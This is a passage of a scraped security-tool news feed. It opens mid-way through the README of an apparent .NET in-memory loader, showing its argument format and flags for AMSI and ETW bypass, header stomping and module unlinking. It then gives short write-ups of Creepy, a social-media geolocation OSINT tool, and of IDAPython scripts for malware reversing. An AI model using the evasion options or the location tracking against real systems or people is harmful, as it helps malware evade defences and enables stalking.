  • AMSI_FLAG|ETW_FLAG|STOMPHEADERS_FLAG|UNLINKMODULES_FLAG|LL_FLAG.LENGTH_FLAG.B64_ENCODED_COMPRESSED_PAYLOAD [SPACE SEPARATED ARGUMENTS]
    • AMSI_FLAG: 0|1 (either 0 or 1)
    • ETW_FLAG: 0|1
    • STOMPHEADERS_FLAG: 0|1
    • UNLINKMODULES_FLAG: 0|1
    • LENGTH_FLAG: .NET assembly size in bytes
    • LL_FLAG: length_of(LENGTH_FLAG) (just bear with me here or pretend you didn't read this)
    • B64_ENCODED_COMPRESSED_PAYLOAD: Gzip compressed and base64 encoded .NET assembly.
    • [SPACE SEPARATED ARGUMENTS]: .NET assembly arguments

Testing Notes:

TODO:
  • An alternative of RFLL, BOF + Named Pipes may be (not sure about long-duration running tasks)
  • x86 support for static syscalls.
  • Bug fixing and cleanup of any dangling pointers or mem-leaks i missed :p

Known Issues:
  • Support for SharpHound v2 and v3 (v2 used to work just fine, need to figure out what changed).
  • .NET assembly size limitation ( < 1MB)

Credits/References:


Creepy - A Geolocation OSINT Tool. Offers Geolocation Information Gathering Through Social Networking Platforms

$
0
0


This project is currently not maintained. I haven't put any work on it since 2016 and with the current state of the API access to instagram and twitter, and the default settings for their geolocation features cree.py wouldn't be of much use. I will live the repository and site up for the time but I'd like to believe the tool served its purpose and I do not foresee working on this again.


Author

Yiannis Kakavas <jkakavas__AT__gmail__dot__com>


Homepage

http://www.geocreepy.com


Installation Instructions

See http://www.geocreepy.com


Configuration

See http://www.geocreepy.com/plugin_configuration.html


Description

Geolocation OSINT tool.

Creepy is a geolocation OSINT tool. Gathers geolocation related information from online sources, and allows for presentation on map, search filtering based on exact location and/or date, export in csv format or kml for further analysis in Google Maps.


Screenshots





Special Thanks

Creepy icon : © "eye of sauron" image by blood-solice on deviantart ( http://blood-solice.deviantart.com )

To Penny for creating the new plugin specific markers


Attribution

Icons in versions >= 1.3 are selected icons from the icon set

Fugue Icons

(C) 2013 Yusuke Kamiyamane. All rights reserved.

These icons are licensed under a Creative Commons Attribution 3.0 License. http://creativecommons.org/licenses/by/3.0/



COM-Code-Helper - Two IDAPython Scripts Help You To Reconstruct Microsoft COM (Component Object Model) Code

$
0
0


Two IDAPython Scripts help you to reconstruct Microsoft COM (Component Object Model) Code Especially malware reversers will find this useful, as COM Code is still regularly found in malware.


ClassAndInterfaceToNames.py

This IDAPython script scans an idb file for class and interfaces UUIDs and creates the matching structure and its name. Make sure to copy interfaces.txt + classes.txt is in the same directory as ClassAndInterfaceToNames.py


Microsoft-SDK-Vtable-Structs.py

This IDAPython script creates vtables derrived from Microsoft SDK. Execution of the script takes a while, as lot of structures are created. After the script finished, go to the COM code you like to reconstruct, press 'T' and select the correct vtable-structure.

To learn about COM check out the Microsoft website: https://docs.microsoft.com/en-us/windows/win32/com/the-component-object-model

Code was tested on IDA 7.4 and Python versions 2+3






Viewing all 5816 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>